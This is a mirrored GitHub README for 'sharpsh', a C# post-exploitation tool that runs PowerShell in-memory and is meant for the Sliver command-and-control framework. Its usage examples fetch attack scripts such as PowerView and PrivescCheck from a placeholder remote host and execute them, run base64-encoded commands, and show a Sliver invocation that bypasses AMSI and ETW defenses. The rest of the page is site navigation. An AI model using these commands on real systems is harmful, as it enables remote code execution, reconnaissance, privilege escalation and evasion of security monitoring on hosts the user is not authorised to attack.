Giter VIP home page Giter VIP logo

sharpsh's Introduction

sharpsh

C# .Net Framework program that uses RunspaceFactory for Powershell command execution. Built for use with execute-assembly -E -M -i ... in BishopFox/Sliver.

Features

  • Execute Powershell commands
  • Load & execute remote script
  • Multiple command & script support
  • Encoded command support
  • Load & execute script from clipboard

Usage

sharpsh 1.0.0.0
Copyright c  2022

  -c, --cmd          Required. Powershell command to run

  -u, --uri          Fetch script from URI

  -p, --clipboard    Fetch script from clipboard

  -e, --encoded      Encodeded command (base64)

  --help             Display this help screen.

  --version          Display version information.

Examples

# execute powershell command
PS > .\sharpsh.exe -c whoami

# execute base64 encoded powershell command
PS > .\sharpsh.exe -e -c d2hvYW1pCg==

# load script from clipboard and execute command
PS > .\sharpsh.exe -p -c Get-NetLocalGroup

# load remote script and execute
PS > .\sharpsh.exe -u http://x.x.x.x/PowerView.ps1 -c get-netlocalgroup

# load remote script and execute encoded command
PS > .\sharpsh.exe -u http://x.x.x.x/PowerView.ps1 -e -c R2V0LU5ldExvY2FsR3JvdXAK

# execute multiple powershell commands
PS > .\sharpsh.exe -c hostname,whoami

# execute multiple powershell commands using multiple scripts
PS > .\sharpsh.exe -c get-netlocalgroup,invoke-privesccheck -u http://x.x.x.x/PowerView.ps1,http://x.x.x.x/PrivescCheck.ps1 -b

# sliver inline & bypass AMSI + ETW
sliver > execute-assembly -M -E -i /tools/sharpsh.exe -c get-netlocalgroup -u http://x.x.x.x/psh/PowerSploit/Recon/PowerView.ps1

Planned

  • Load & execute embedded script
  • Load & execute script from disk
  • Compression & encryption support for scripts

Build

Built using .NET Framework v4.5.1 in Visual Studio 2019.

Be sure to add c:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll as a reference.

The project uses dnMerge so it has to be compiled in Release mode.

sharpsh's People

Contributors

thelikes avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.